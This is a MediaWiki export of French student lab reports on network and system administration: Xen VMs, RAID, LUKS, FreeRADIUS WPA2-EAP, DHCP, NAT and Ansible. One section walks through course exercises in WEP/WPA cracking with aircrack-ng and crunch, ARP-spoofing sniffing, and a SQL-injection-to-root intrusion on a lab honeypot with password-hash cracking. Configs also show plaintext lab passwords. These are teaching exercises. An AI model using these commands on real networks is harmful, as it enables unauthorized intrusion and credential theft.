accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Installation d'Ansible ===&lt;br /&gt;
&lt;br /&gt;
Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible. &lt;br /&gt;
Nous commençons par installer ansible sur notre VM principale :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:hosts1.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:host.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:play_docker.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Hosts1.png&amp;diff=54902</id>
		<title>Fichier:Hosts1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Hosts1.png&amp;diff=54902"/>
				<updated>2020-12-17T16:29:27Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54901</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54901"/>
				<updated>2020-12-17T16:28:55Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Ansible rôle MOTD */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
